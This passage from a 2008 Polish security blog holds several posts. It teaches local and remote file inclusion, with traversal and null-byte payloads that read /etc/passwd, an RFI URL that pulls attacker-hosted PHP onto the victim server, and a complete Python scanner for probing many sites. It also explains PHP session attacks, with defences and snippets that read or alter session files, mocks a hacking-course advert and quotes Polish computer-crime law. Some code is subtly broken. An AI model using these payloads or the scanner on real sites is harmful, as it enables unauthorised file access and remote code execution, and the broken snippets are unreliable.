    $pokaz = fread(fopen($file, "r"), filesize($file));
    echo
    $pokaz;
    }
    else echo
    "Błąd 404";
    ?>

    Czym się różnią oba te ataki? Chodź brzmią podobnie poprzez błąd LFI możemy „inkludować” dowolny plik na lokalnym serwerze, a przy błędzie RFI z innego serwera. Poniżej opisałem oba te ataki najprościej i najjaśniej jak to tylko było możliwe.

    Local File Include – czyli „inkludowanie” (włączanie) dowolnego pliku na lokalnym serwerze. Pozwala przypisać zmienne w funkcjach:

    • include()
    • require()
    • require_ once()
    • include_ once()

    Testy podatności strony ( serwisu ) na ataki LFI , RFI

    Klikamy na jedną ze stron ( TESTOWYCH – testowanych ) i sprawdzamy czy jest ona podatna na błąd LFI wpisując w zmienną na przykład:

    /etc/passwd

    Będzie to wyglądać tak:

    http://www.strona.com/id=/etc/passwd

    W kodzie php będzie to wyglądać tak:

    <?php readfile(„katalog/inny_katalog/etc/passwd.php”) ?>

    Widzimy tutaj znaczący błąd, ponieważ nie istnieje taki plik passwd.php więc trzeba się pozbyć tego rozszerzenia jakim jest php. Oczywiście jest na to sposób. Nazywamy to atakiem Poison Null Byte, czyli atak z użyciem bajtu zerowego. W php bajt zerowy wygląda tak: %00. Jest to bajt oznaczający koniec stringu, czyli ciągu znakowego. Wszystko co występuje po nim jest ignorowane przez php. Więc jeśli chcemy uciąć rozszerzenie php wystarczy po passwd dodać bajt zerowy:

    http://www.strona.com/id=/etc/passwd%00

    Jednak niektóre strony są przed tym zabezpieczone – %0 zamienia nam na / w wyniku czego powstaje coś takiego ( w kodzie php):

    <?php readfile(„katalog/inny_katalog/etc/passwd/0.php”) ?>

    Dzieje się to dlatego, że %0 w tablicy . Jednak i na to jest sposób. Bądźmy sprytniejsi. Znając znaki tej tablicy zamiast %00 napiszemy %2500, ponieważ %25 oznacza po prostu %.

    Czyli:

    http://www.strona.com/id=/etc/passwd%2500

    Jeśli porządany plik nie wyświetlił się nam to poruszamy się w głąb serwera dodając: /..Jest to znak cofnięcia do poprzedniego katalogu. Będzie to wyglądać tak:

    http://www.strona.com/id=/../etc/passwd

    Natomiast w kodzie php będzie to wyglądać tak:

    <?php readfile(„katalog/etc/passwd”) ?>

    Jeśli nic nam się nie wyświetliło to próbujemy dalej dodając wyżej podany znak i tak aż do skutku – lub stwierdzimy ,że testowany serwis jest odporny na ataki LFI , RFI.

    „Ręczne szukanie” błędu LFI jest bardzo uciążliwe ale można je zautomatyzować pisząc w Pytonie ( w moim przypadku ) program , który sprawdzi czy podana strona ( serwis ) jest podatny na taki atak.

    Przykład programu testującego podatność serwisu na ataki LFI , RFI.

    #!/usr/bin/python
    
    import sys, httplib, time, socket, sets, urllib2, re
    
    def main(host):
    
    print "\n","-"*55
    print "\n[+] Target host:",host
    
    okresp = tester("/")[:1]
    badresp,reason,server = tester("/hera9.html")
    
    host = getindex(okresp[0])
    
    if okresp[0] == badresp:
    print "\n[-] Responses matched, try another host.\n"
    else:
    print "[+] Target server:",server
    print "[+] Target OK response:",okresp[0]
    print "[+] Target BAD response:",badresp, reason
    print "[+] Scan Started at",timer()
    time.sleep(2)
    
    print "[+] Gathering Fields:",host
    
    try:
    names, actions, var = getvar()
    print "[+] Variables:",len(var),"| Actions:",len(actions),"| Fields:",len(names)
    print "[+] Avg Requests:",(len(var)+len(names)+(len(actions)*len(names))+(len(actions)*len(names)))
    paths = getpaths(var, names, actions)
    print "[+] Paths Found:",len(paths),"\n"
    for path in paths:
    for x in xrange(path.count("../")-2):
    code, reason = tester(path.replace('../',"",x+1))[:2]
    if code == okresp[0]:
    print "\n\t[+]",code,reason,":",path.split("/",1)[1].replace('../',"",x+1),"\n"
    except(TypeError):
    print "[-] Couldn't find enough fields.\n"
    pass
    
    def tester(path):
    
    try:# make a http HEAD request
    h = httplib.HTTP(host.split("/",1)[0], int(port))
    h.putrequest("GET", "/"+path.split("/",1)[1])
    h.putheader("Host", host.split("/",1)[0])
    h.endheaders()
    status, reason, headers = h.getreply()
    if verbose == 1:
    print "[+]",status,reason,":","/"+path.split("/",1)[1]
    return status, reason, headers.get("Server")
    except(), msg:
    print "[-] Error Occurred\n",msg
    sys.exit(1)
    
    def timer():
    now = time.localtime(time.time())
    return time.asctime(now)
    
    def getindex(okresp):
    #Try and get index page if not posted.
    if re.search("index", host) == None:
    code = tester("/index.php")[:1]
    if code[0] == okresp:
    return host+"/index.php"
    else:
    code = tester("/index.html")[:1]
    if code[0] == okresp:
    return host+"/index.html"
    
    def getpaths(var, names, actions):
    print "[+] Creating Paths...\n"
    
    if len(var) >= 1:
    for v in var:
    if host.count("/") >= 2:
    for x in xrange(host.count("/")):
    paths.append(host.rsplit('/',x+1)[0]+"/"+v+lfi+null)
    paths.append(host+"/"+v+lfi+null)
    
    if len(names) >= 1:
    for n in names:
    if host.count("/") >= 2:
    for x in xrange(host.count("/")):
    paths.append(host.rsplit('/',x+1)[0]+"/"+"?"+n+"="+lfi+null)
    paths.append(host+"/"+"?"+n+"="+lfi+null)
    
    if len(actions) != 0 and len(names) >= 1:
    for a in actions:
    for n in names:
    if host.count("/") >= 2:
    for x in xrange(host.count("/")):
    paths.append(host.rsplit('/',x+1)[0]+a+"?"+n+"="+lfi+null)
    #paths.append(host.split("/")[0]+a+"?"+n+"="+lfi+null)
    
    if len(actions) != 0 and len(var) >= 1:
    for a in actions:
    for v in var:
    if host.count("/") >= 2:
    for x in xrange(host.count("/")):
    paths.append(host.rsplit('/',x+1)[0]+a+v+lfi+null)
    else:
    paths.append(host.split("/")[0]+a+v+lfi+null)
    return paths
    
    def getvar():
    
    names = []
    actions = []
    
    try:
    webpage = urllib2.urlopen("http://"+host, port).read()
    var = re.findall("\?[\w\.\-/]*\=",webpage)
    if len(var) >=1:
    var = list(sets.Set(var))
    found_action = re.findall("action=\"[\w\.\-/]*\"", webpage.lower())
    found_action = list(sets.Set(found_action))
    if len(found_action) >= 1:
    for a in found_action:
    a = a.split('"',2)[1]
    try:
    if a[0] != "/":
    a = "/"+a
    except(IndexError):
    pass
    actions.append(a)
    found_names = re.findall("name=\"[\w\.\-/]*\"", webpage.lower())
    found_names = list(sets.Set(found_names))
    for n in found_names:
    names.append(n.split('"',2)[1])
    return names, actions, var
    except(socket.timeout, IOError, ValueError, socket.error, socket.gaierror, httplib.BadStatusLine):
    pass
    except(KeyboardInterrupt):
    print "\n[-] Cancelled -",timer(),"\n"
    sys.exit(1)
    
    print "\n\t    LFI Tester "
    print "\t----------------------------------------------"
    
    if len(sys.argv) < 3 or len(sys.argv) > 7:
    print "\nUsage: ./lfitest.py <options>\n"
    print "Ex. ./lfitest.py -h www.mysite.com -p 80 -null -v"
    print "Ex. ./lfitest.py -list sites.txt -p 80 -v\n"
    print "\t[options]"
    print "\t   -h/-host : Host to scan"
    print "\t   -p/-port : Port to use (defaults: 80)"
    print "\t   -l/-list <list of sites> : List of sites to scan through"
    print "\t   -n/-null : Adds a null byte onto the end of the inclusion"
    print "\t   -v/-verbose : Shows every lfi attempt\n"
    sys.exit(1)
    
    paths = []
    lfi = "../../../../../../../etc/passwd"
    socket.setdefaulttimeout(25)
    
    for arg in sys.argv[1:]:
    if arg.lower() == "-h" or arg.lower() == "-host":
    host = sys.argv[int(sys.argv[1:].index(arg))+2]
    if arg.lower() == "-p" or arg.lower() == "-port":
    port = sys.argv[int(sys.argv[1:].index(arg))+2]
    if arg.lower() == "-l" or arg.lower() == "-list":
    sites = open(sys.argv[int(sys.argv[1:].index(arg))+2], "r").readlines()
    if arg.lower() == "-v" or arg.lower() == "-verbose":
    verbose = 1
    if arg.lower() == "-n" or arg.lower() == "-null":
    null = "%00"
    try:
    if verbose ==1:
    print "\n[+] Verbose Mode On"
    except(NameError):
    print "\n[-] Verbose Mode Off"
    verbose = 0
    try:
    if null:
    print "[+] Null Byte On"
    except(NameError):
    print "[-] Null Byte Off"
    null = ""
    try:
    if port:
    print "[+] Target port:",port
    except(NameError):
    port = "80"
    print "[+] Target port:",port
    try:
    if sites:
    print "\n[+] Loaded:",len(sites),"sites"
    for host in sites:
    host = host[:-1]
    if host[:7] == "http://":
    host = host.replace("http://","")
    if host[-1] == "/":
    host = host[:-1]
    main(host)
    except(NameError):
    if host[:7] == "http://":
    host = host.replace("http://","")
    if host[-1] == "/":
    host = host[:-1]
    main(host)
    print "\n[-] Scan completed at",timer(),"\n"

    Remote File Include – czyli „inkludowanie” (włączanie) pliku z innego serwera. To jest ta różnica, która odróżnia błąd LFI od RFI. W LFI szukaliśmy pliku, który istniał na serwerze ofiary, a w RFI będziemy podawać ścieżkę do pliku (na przykład na naszym serwerze), który może nieźle namieszać u naszej ofiary. RFI również pozwala przypisać zmienne w funkcjach takich jak w LFI.

    Postępujemy podobnie, jednak zamiast /etc/passwd wpisujemy pełną ścieżkę dostępu do naszego pliku (w tym przypadku będzie to kod php, który umożliwia listowanie zawartości katalogów), który mieści się na naszym serwerze. link to tego pliku to w moim przypadku:

    http://www.moj_serwer.pl/katalogi.txt

    Więc do naszej zmiennej (np: id) wpisujemy adres naszego kodu:

    http://www.strona.com/id=http://www.moj_serwer.pl/katalogi.txt?

    Naszym oczom okazuje się lista katalogów. Oczywiście jest masa możliwości nie musi to być listowanie katalogów. Również dobrym sposobem jest wgranie shella, albo innej niespodzianki.

    Jak się przed tym zabezpieczyć? W dość łatwy sposób. Wystarczy wyłączyć możliwość otwierania zdalnych plików przez funkcje:

    • fopen()
    • readfile()
    • include()

    Uwagi:

    Dlaczego kod php jest zapisany w rozszerzeniu txt? Dlatego, że nie chcemy aby kod wykonał się na naszym serwerze tylko na serwerze ofiary.

     
    Leave a comment

    Posted by w dniu 12 Kwiecień, 2008 in Bezpieczeństwo

     

    Tagi: , ,

    Nie matura , lecz chęć szczera zrobi z Ciebie dziś Hakera !

    Nie matura , lecz chęć szczera zrobi z Ciebie dziś Hakera !

    W żeglowaniu po stronach internetowych znalazłem bardzo ciekawe miejsce a mianowicie internetowa szkołę hakerów . Ostatnio dużo mówiło się , pisało o atakach hakerów np. na bank WBKBZ24 , ze to za sprawą Google Ci tajemniczy “ludzie” wytropili innych mniej tajemniczych ludzi wysyłając tym drugim formularze z zapytaniem o numer karty kredytowej oraz podanie przy tej samej okazji pinu.Wcale się nie dziwię ,że nadal są takie ataki bo ja sam po uzyskaniu certyfikatu jaki można uzyskać w tej szkole stanę się pierwszym Hakerem IV Rzeczypospolitej .
    Cóż ta szkoła nam oferuje – cytuje poniżej :

    Szkoła Hakerów – kurs hackingu bez cenzuryZ przyjemnością przedstawiamy opracowany przez nas zestaw edukacyjny – jedyny w swoim rodzaju Podręcznik Szkoły Hakerów. Stanowi on podstawę wiedzy w zakresie bezpieczeństwa systemów komputerowych i sieci.

    Dzięki Podręcznikowi, przejdziesz krok po kroku interaktywny kurs posługiwania się prostymi, jak i zaawansowanymi technikami, wykorzystywanymi na co dzień przez hakerów. Poznasz sposoby łamania barier i doświadczysz tego, co do niedawna zarezerwowane było tylko dla wąskiego grona elitarnych odbiorców.

    Tylko od Ciebie zależy, jak wykorzystasz tę cenną wiedzę. Pamiętaj jednak, że prawdziwy ekspert jest nie tylko wirtuozem ataku, ale przede wszystkim mistrzem obrony. Poznanie technik ataku jest niezbędne do tego, aby skutecznie bronić się przed zagrożeniami z sieci.

    Sprawdź sam, czy jesteś bezpieczny. Jeśli masz własny serwer, stronę internetową, czy prowadzisz forum dyskusyjne, to zapewne wiesz, jak dużym problemem może być włamanie dokonane przez cyber-intruza. Z zestawem Szkoły Hakerów osiągniesz jednak przewagę nad włamywaczem.

    Cytat ten pochodzi ze strony http://szkolahakerow.pl/

    Ale to nic można zamówić sobie “zestaw hakera” i po kilku dniach możemy ruszać na podbój do tej pory nie podbitych przez nas stron.Czytając publikowane na tej stronie informacje mam wrażenie ,że ludzka głupota i brak odpowiedzialności nie zna granic.

    Co ciekawe na stronie zamieszczone sa linki z opiniami innych witryn na temat tej szkoły.Oto one

    Opinie Ekspertów

    Nasze szkolenie zostało przetestowane przez szereg serwisów branżowych. Zapraszamy Cię do zapoznania się z niezależnymi opiniami ekspertów w takich serwisach, jak hacking.pl, pobieralnia.pl czy virturia.info. Poniżej znajdują się odnośniki do publikacji, które ukazały się do tej pory:

    Po zapoznaniu się z tymi opiniami postanowiłem zostać jednak I hakerem IV Rzeczypospolitej.Mówiąc krótko “nie chcę ale muszę”.

     
    Leave a comment

    Posted by w dniu 7 Kwiecień, 2008 in Bezpieczeństwo

     

    Tagi: ,

    Co Grozi Za “hacking” ?

    Co Grozi Za “hacking” ?

    Art. 130.

    § 2. Kto biorąc udział w obcym wywiadzie, albo działając na jego rzecz, udziela wywiadowi wiadomości, których przekazanie może wyrządzić szkodę Rzeczpospolitej Polskiej, podlega karze pozbawienia wolności na czas nie krótszy od lat 3.
    § 3. Kto, w celu udzielenia obcemu wywiadowi wiadomości określonych w § 2, gromadzi je lub przechowuje, włącza się do sieci komputerowej w celu ich uzyskania albo zgłasza gotowość działania na rzecz obcego wywiadu przeciwko Rzeczypospolitej Polskiej, podlega karze pozbawienia wolności od 6 miesięcy do lat 8.

    Art. 165.

    § 1. Kto sprowadza niebezpieczeństwo dla życia lub zdrowia wielu osób albo dla mienia w wielkich rozmiarach:
    1. powodując zagrożenie epidemiologiczne lub szerzenie się choroby zakaĽnej albo zarazy zwierzęcej lub roślinnej,
    2. wyrabiając lub wprowadzając do obrotu szkodliwe dla zdrowia substancje, środki spożywcze lub inne artykuły powszechnego użytku lub też środki farmaceutyczne nie odpowiadające obowiązującym warunkom jakości,
    3. powodując uszkodzenie lub unieruchomienie urządzeń użyteczności publicznej, w szczególności urządzenia dostarczającego wodę, światło, ciepło, gaz, energię albo urządzenia zabezpieczającego przed nastąpieniem niebezpieczeństwa powszechnego lub służącego do jego uchylenia,
    4. zakłócając, uniemożliwiając lub w inny sposób wpływając na automatyczne przetwarzanie, gromadzenie lub przesyłanie informacji,
    5. działając w inny sposób w okolicznościach szczególnie niebezpiecznych, podlega karze pozbawienia wolności od 6 miesięcy do lat 8.
    § 2. Jeżeli sprawca działa nieumyślnie podlega karze pozbawienia wolności do lat 3.
    § 3. Jeżeli następstwem czyny określonego w § 1 jest śmierć człowieka lub ciężki uszczerbek na zdrowiu wielu osób, sprawca podlega karze pozbawienia wolności od lat 2 do 12.
    § 4. Jeżeli następstwem czynu określonego w § 2 jest śmierć człowieka lub ciężki uszczerbek na zdrowiu wielu osób, sprawca podlega karze pozbawienia wolności od 6 miesięcy do lat 8.

    Art. 267.

    § 1. Kto bez uprawnienia uzyskuje informacje dla niego nie przeznaczoną, otwierając zamknięte pismo, podłączając się do przewodu służącego do przekazywania informacji lub przełamując elektroniczne, magnetyczne albo inne szczególne jej zabezpieczenie, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2.
    § 2. Tej samej karze podlega, kto w celu uzyskania informacji, do której nie jest uprawniony, zakłada lub posługuje się urządzeniem podsłuchowym, wizualnym albo innym urządzeniem specjalnym.
    § 3. Tej samej karze podlega, kto informację uzyskaną w sposób określony w § 1 lub 2 ujawnia innej osobie.
    § 4. ściganie przestępstwa określonego w § 1 -3 następuje na wniosek pokrzywdzonego.

    Art. 268.

    § 1. Kto nie będąc do tego uprawnionym, niszczy, uszkadza, usuwa lub zmienia zapis istotnej informacji albo w inny sposób udaremnia lub znacznie utrudnia osobie uprawnionej zapoznanie się z nią, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2.
    § 2. Jeżeli czyn określony w § 1 dotyczy zapisu na komputerowym nośniku informacji, sprawca podlega karze pozbawienia wolności do lat 3.
    § 3. Kto dopuszcza się czynu określonego w § 1 lub 2, wyrządza znaczną szkodę majątkową, podlega karze pozbawienia wolności od 3 miesięcy do lat 5.
    § 4. ściganie przestępstwa określonego w § 1 -3 następuje na wniosek pokrzywdzonego.

    Art. 269. § 1. Kto na komputerowym nośniku informacji, niszczy, uszkadza, usuwa lub zmienia zapis o szczególnym znaczeniu dla obronności kraju, bezpieczeństwa w komunikacji, funkcjonowania administracji rządowej, innego organu państwowego lub administracji samorządowej albo zakłóca lub uniemożliwia automatyczne gromadzenie lub przekazywanie takich informacji, podlega karze pozbawienia wolności od 6 miesięcy do lat 8.
    § 2. Tej samej karze podlega, kto dopuszcza się czynu określonego w § 1, niszcząc albo wymieniając nośniki informacji lub niszcząc albo uszkadzając urządzenie służące automatycznemu przetwarzaniu, gromadzeniu lub przesyłaniu informacji

    Art. 270.

    § 1. Kto, w celu użycia za autentyczny, podrabia lub przerabia dokument lub takiego dokumentu jako autentycznego używa, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności od 3 miesięcy do lat 5.
    § 2. Tej samej karze podlega, kto wypełnia blankiet, zaopatrzony cudzym podpisem, niezgodnie z wolą podpisanego i na jego szkodę albo takiego dokumentu używa.
    § 3. Kto czyni przygotowania do przestępstwa określonego w § 1, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2.

    Art. 276.

    Kto niszczy, uszkadza, czyni bezużytecznym, ukrywa lub usuwa dokument, którym nie ma prawa wyłącznie rozporządzać, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2.

    Art. 278.

    § 1. Kto zabiera w celu przywłaszczenia cudzą rzecz ruchomą, podlega karze pozbawienia wolności od 3 miesięcy do lat 5.
    § 2. Tej samej karze podlega, kto bez zgody osoby uprawnionej uzyskuje cudzy program komputerowy w celu osiągnięcia korzyści majątkowej.
    § 3. W wypadku mniejszej wagi, sprawca podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do roku.
    § 4. Jeżeli kradzież popełniono na szkodę osoby najbliższej, ściganie następuje na wniosek pokrzywdzonego.
    § 5. Przepisy § 1, 3 i 4 stosuje się odpowiednio do kradzieży energii lub karty uprawniającej do podjęcia pieniędzy z automatu bankowego.

    Art. 287.

    § 1. Kto, w celu osiągnięcia korzyści majątkowej lub wyrządzenia innej osobie szkody, bez upoważnienia, wpływa na automatyczne przetwarzanie, gromadzenie lub przesyłanie informacji lub zmienia, usuwa albo wprowadza nowy zapis na komputerowym nośniku informacji, podlega karze pozbawienia wolności od 3 miesięcy do lat 5.
    § 2. W wypadku mniejszej wagi, sprawca podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do roku.
    § 3. Jeżeli oszustwo popełniono na szkodę osoby najbliższej, ściganie następuje na wniosek pokrzywdzonego.

    Art. 291.

    § 1. Kto rzecz uzyskaną za pomocą czynu zabronionego nabywa lub pomaga do jej zbycia albo tę rzecz przyjmuje lub pomaga do jej ukrycia, podlega karze pozbawienia wolności od 3 miesięcy do lat 5.
    § 2. W wypadku mniejszej wagi, sprawca podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do roku.

    Art. 292.

    § 1. Kto rzecz, o której na podstawie towarzyszących okoliczności powinien i może przypuszczać, że została uzyskana za pomocą czynu zabronionego, nabywa lub pomaga do jej zbycia albo tę rzecz przyjmuje lub pomaga do jej ukrycia, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2.
    § 2. W wypadku znacznej wartości rzeczy, o której mowa w § 1, sprawca podlega karze pozbawienia wolności od 3 miesięcy do lat 5.

    Art. 293.

    § 1. Przepisy art. 291 i 292 stosuje się odpowiednio do programu komputerowego.
    § 2. Sąd może orzec przepadek rzeczy określonej w § 1 oraz w art. 291 i 292, chociażby nie stanowiła ona własności sprawcy.

     
    Leave a comment

    Posted by w dniu 6 Kwiecień, 2008 in Bezpieczeństwo

     

    Tagi: ,

    PHP – Niebezpieczne Sesje.

    PHP – Niebezpieczne sesje

    SEssion - PHP Protokół HTTP jest protokołem bezstanowym. Oznacza to, że serwer WWW rozpatruje każde żądanie niezależnie od innych, nie szukając żadnych powiązań w stylu wysyłania ich przez tego samego internautę. Utrudnia to teoretycznie tworzenie wszelkich systemów autoryzacji, które wymagają śledzenia poczynań użytkownika na naszej stronie i przenoszenia jego danych autoryzacyjnych między kolejnymi żądaniami.

    Sesje są rozwiązaniem problemu bezstanowości protokołu HTTP, w którym żądania nie są ze sobą powiązane. Umożliwiają one identyfikacje żądań poszczególnych użytkowników za pomocą przekazania identyfikatora sesji. Jest on dołączany do każdej odpowiedzi serwera jako “ciastko”, ukryte pole w kodzie strony lub jako dodatkowy parametr adresu URL.

    Fizycznie są to pliki tekstowe zawierające dane przypisane do konkretnych użytkowników.

    Niebezpieczeństwo sesji.

    • Atak session fixation
    Najprościej mówiąc w sesji przechowywane są dane dotyczące konkretnego użytkownika. Mogą to być informacje o wybranej wersji językowej czy szablonie strony, mogą to być również wrażliwe dane takie jak loginy, hasła, dane osobowe.
    Kluczowym elementem w działaniu mechanizmu sesji jest jej identyfikator. To dzięki niemu użytkownik ma dostęp do swojego pliku sesji. Z nim też wiąże się spory problem. Uzyskanie czyjegoś identyfikatora umożliwia dostęp do danych zapisanych w sesji. Z racji trzymania identyfikatora po stronie użytkownika istnieje możliwość jego kradzieży, a przez to podszycie się pod jego właściciela. Dwie najbardziej popularne metody, a zarazem najprostsze do wykorzystania oraz zabezpieczenia to XSS oraz przekazanie adresu URL wraz ze zmienną sesyjną.
    Aby zabezpieczyć się przez atakiem session fixation należy dokonać dwie czynności. Pierwszą z nich jest dopilnowanie, aby identyfikator sesji zawsze przekazywany był w ciasteczku, a nie jako element adresu.
    Jeśli nie mamy możliwości edycji pliku php.ini powyższą zmianę możemy dokonać za pośrednictwem pliku .htaccess umieszczając w nim dwie linijki:

    php_value session.use_only_cookies 1
    php_value session.use_trans_sid 0

    Drugim zabezpieczeniem jest wygenerowanie nowego identyfikatora sesji z każdym wykonaniem skryptu – zmniejsza to możliwość podszycia się pod użytkownika gdy nastąpi kradzież identyfikatora. Służy do tego funkcja

    session_regenerate_id( );

    Przykład skryptu w PHP

    <?php
    
    session_start();
    $old_id = session_id(); // 1234
    if (empty($_SESSION[‘is_valid’]))
    
    {
    session_regenerate_id();
    $new_id = session_id(); //losowo np., 93a7289e775b9acdf8092380cc5b6e26
    $_SESSION[‘is_valid’] = TRUE;
    
    }

    • Atak session poisoning

    Skutecznie przeprowadzony atak session poisoning skutkuje możliwością modyfikacji danych znajdujących się w sesji agresora. Może on tego dokonać dwojako.

    • Pierwszym sposobem jest wykorzystanie błędu braku filtrowania danych płynących od użytkownika, które są umieszczane w sesji.
    • Do wykonania drugiego sposobu wymagana jest możliwość wgrania plików w ramach tego samego konta co atakowany system. Posiadając taką możliwość możemy na serwerze umieścić plik, którego zadaniem będzie wyświetlenie aktualnych wartości sesji oraz umożliwienie ich modyfikacji.

    Poniżej fragment napisany w PHP umożliwiający manipulację zmiennymi sesyjnymi.

    
    <?php
    session_start( );
    
    echo '<pre>';
    
    print_r( $_SESSION);
    
    echo '</pre>';
    
    if( $_GET['user'] )
    
    $_SESSION[$_GET['user']] = $_GET['login'];
    
    ?>

    • Atak session injection

    Posiadając konto u jednego z providerów internetowych dzielimy zasoby serwera z innymi użytkownikami. W skład tych zasobów wchodzą między innymi pliki. O ile dostępu do plików na naszym koncie chronią poprawnie ustawione uprawnienia dostępu, o tyle sytuacja taka nie zawsze ma miejsce jeśli chodzi o katalog z plikami sesji. Niepoprawnie skonfigurowany serwer może dać nam możliwość nie tylko podglądu ale i modyfikacji plików sesji.Pliki te nie są szyfrowane.

    Poniżej fragment skryptu PHP umożliwiający listowanie oraz podgląd plików sesji.

    
    <?php
    if( $_GET['ses_plik'] )
    
    {
    $plik = ini_get( 'session.save_path' ) . '/' . $_GET['ses_plik'] );
    die( file_get_contents( $ses_plik );
    }
    
    foreach ( glob( ini_get( 'session.save_path' ) . '/*' ) as $ses_plik )
    {
    echo $ses_plik . 'size ' . filesize( $ses_plik ) . '<br />';
    }
    
    ?>
    
    

    Sposobem na zabezpieczenie się przed podglądem pliku sesji jest zmiana katalogu, w którym będą one przechowywane. Możemy tego dokonać korzystając z funkcji

    session_save_path( );

    Należy pamiętań, aby katalog z plikami sesji nie był publicznie dostępny dlatego powinien znajdować się powyżej katalogu public_html

    • Atak session riding

    Celem ataku session riding jest wykonanie złośliwego kodu z uprawnieniami zalogowanego użytkownika. Może to doprowadzić do kradzieży danych użytkownika, zamówienie przez niego jakiegoś produktu, lub w przypadku wykonania kodu przez administratora “dostęp” do panelu administratora.

    Zabezpieczenie przed CSRF( skrót – bo taki ten atak posiada) może wydawać się trudne lecz istnieje kilka sposobów by tego dokonać. Dwa najciekawsze opierają się na tokenach, czyli losowo wygenerowanych ciągach znaków.

    • Zasada działania pierwszego sposobu opiera się na umieszczeniu dodatkowe pola w każdym znaczącym formularzu. W polu tym będzie znajdował się wygenerowany token, który po wysłaniu formularza będzie sprawdzany z tokenem zapisanym np. w sesji.
    • Drugi sposób jest “bardziej skomplikowany”, a wraz z tym lepszy. Polega on na stworzeniu “tablicy routingu”. Mianowicie chodzi o tabelkę w bazie danych która będzie zawierała w sobie zestawienie tokenów oraz prawdziwych adresów. Token powinien być generowany inny dla każdego użytkownika. Dzięki temu napastnik nie będzie w stanie wywołać akcji z uprawnieniami zalogowanego użytkownika.

    http://www.przyklad.com/?element=jakis&element=inny&akcja=zrob

    Po zmianie wyglądów adresów po użyciu “tablicy routingu”

    http://www.przyklad.com/?token=djPana76ashHSB

    Implementacja własny mechanizm obsługi sesji.

    Sposobem na zabezpieczenie się przed problemami związanymi z natywną obsługą sesji jest stworzenie własnego systemu obsługi sesji. Największy nacisk powinien w niej zostać położony na sposób przechowywania danych oraz zarządzania identyfikatorem sesji.

    Najbezpieczniejszym miejscem na przechowywania danych jest baza danych. Aby uzyskać do niej dostęp należy znać dane umożliwiające logowania lub wykonać atak typu SQL Injection. Ze względu na swoją naturę możemy pominąć pierwszy sposób. Drugi atak może zostać przeprowadzony tylko w przypadku błędnie napisanego kodu. Można więc zauważyć, że poprawnie napisany system oraz własny mechanizm sesji daje nam całkowite bezpieczeństwo.

    Sposób generowania identyfikatora zależy już tylko od inwencji twórców systemu zabezpieczeń tworzonej aplikacji. Można się do tego posłużyć funkcjami generującymi losowe znaki oraz funkcjami hashującymi. Co ważne po każdym wygenerowaniu ID trzeba się upewnić, że jest ono unikalne i nie zostało już wcześniej przydzielone innemu użytkownikowi.

    Wygenerowany identyfikator powinniśmy umieścić w cookies oraz dodać dodatkowe zabezpieczenie uniemożliwiające przeprowadzenie ataku session fixation.

    W PHP istnieje możliwość napisania własnych funkcji zarządzania sesją pod natywną obsługę sesji. Służy do tego funkcja session_set_save_handler Oznacza to tyle, że odwołując się do superglobalnej tablicy sesji ($_SESSION) odwołujemy się niejawnie do naszych funkcji. Oprócz tego, że sposób ten jest wygodny jest również bezpieczny na zmiany w kodzie oraz w sposobie przechowywania danych.

    
    <?php
    
    session_set_save_handler(“m_open”,”m_close”,”m_read”,”m_write”,”m_destroy”,“m_gc”);
    
    ?>

    Wymienione w nawiasie -“m_open”,”m_close”,”m_read”,”m_write”,”m_destroy”,“m_gc”) to nic innego jak nazwy własnych ( funkcji napisanych w php )

    Poniżej przykład funkcji użytkownika.

    function m_open($save_path, $session_name){
    $r = mysql_connect() or die(“komunikat błędu”);
    mysql_select_db($save_path, $r) or die(”"komunikat błędu);
    return define(‘__ses_db’, $r);
    }
    function m_close() {
    return mysql_close(__ses_db);
    }

    Źródło:
    1. Ilia Alshanetsky – “Php|architect’s Guide to Security” -Marco Tabini & Associates, Inc. 2006
    2. php.net – http://pl2.php.net/manual/pl/ref.session.php
    3. Blog – iBlog – Ilia Alshanetsky
    4. Securing PHP Applications
    5. Blog – http://www.askapache.com/
    6. Neil Daswani, Christoph Kern – “Foundations of Security: What Every Programmer Needs to Know” – Apress 2007 – http://www.apress.com
     
    Leave a comment

    Posted by w dniu 3 Kwiecień, 2008 in Bezpieczeństwo

     

    Tagi: ,

     
    Follow

    Otrzymuj każdy nowy wpis na swoją skrzynkę e-mail.